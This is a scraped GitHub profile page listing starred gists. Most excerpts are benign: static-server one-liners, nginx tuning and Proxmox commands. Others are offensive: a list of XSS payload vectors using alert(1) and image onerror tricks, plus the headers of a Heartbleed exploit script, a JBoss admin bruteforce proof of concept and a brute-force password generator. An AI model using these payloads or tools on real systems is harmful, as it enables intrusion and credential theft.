Skip to content

Instantly share code, notes, and snippets.

View unbaiat's full-sized avatar

unbaiat unbaiat

  • Unicorns United Ltd
  • Castalia
View GitHub Profile
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@willurd
willurd / web-servers.md
Last active August 22, 2026 05:03
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@denji
denji / nginx-tuning.md
Last active September 14, 2026 09:34
NGINX tuning for best performance

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

@ckoepp
ckoepp / change_mac_address
Last active March 16, 2023 23:34
A small bash script to change a mac address - includes one line of Python to generate random numbers.
#!/bin/bash
# The MIT License (MIT)
#
# Copyright (c) 2014 Christian Koepp <christian.koepp@tum.de>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the 'Software'), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
pvesh create /nodes/kvm01/storage/local/content -filename vm-101-disk-0.qcow2 -format qcow2 -size 32G -vmid 101
pvesh create /nodes/kvm01/qemu -vmid 101 -memory 2048 -sockets 1 -cores 4 -net0 e1000,bridge=vmbr0 -net1 e1000,bridge=vmbr1 -ide0=local:101/vm-101-disk-0.qcow2 -ide2 local:iso/CentOS-6.5-x86_64-minimal.iso,media=cdrom
pvesh create /nodes/kvm01/qemu/101/status/start
@eelsivart
eelsivart / heartbleed.py
Last active February 10, 2026 15:28 — forked from sh1n0b1/ssltest.py
Heartbleed (CVE-2014-0160) Test & Exploit Python Script
#!/usr/bin/python
# Modified by Travis Lee
# Last Updated: 4/21/14
# Version 1.16
#
# -changed output to display text only instead of hexdump and made it easier to read
# -added option to specify number of times to connect to server (to get more data)
# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
@dreamcat4
dreamcat4 / ums.md
Last active December 8, 2018 12:49
How to Install Universal Media Server on FreeBSD, FreeNAS / NAS4Free / pfSense, with Finch v1.25- http://dreamcat4.github.io/finch/

UMS How-To

How to install Universal Media Server. Most of these commands can just be copy-pasted.

Update Finch

Update finch to version 1.25 or newer.

# Finch users should first update to get the latest fixes

[ "$(echo "$(finch --shortver) >= 1.25" | bc)" = 1 ] || sudo finch update -y

Keybase proof

I hereby claim:

  • I am cure53 on github.
  • I am cure53 (https://keybase.io/cure53) on keybase.
  • I have a public key whose fingerprint is F98B 0EC1 8640 2F60 292C 5877 C26C 8580 90F7 0ADA

To claim this, I am signing this object:

"""
Bruteforce JBoss EAP Admin Console 1.3.4.SP6 (r999)
Author: @itsecurityco
Use: python bruteforce(PoC).py ip:port wordlist
"""
import re
import sys
import urllib
import requests
@itsecurityco
itsecurityco / BrutePWGen.py
Created September 10, 2014 01:03
Password generator for brute force attacks
"""
Bruteforce Password Generator
Author: @itsecurityco
Use: python BrutePWGen.py --merge-words --h4x0r keywords.txt
"""
import sys
from time import time
class wgen: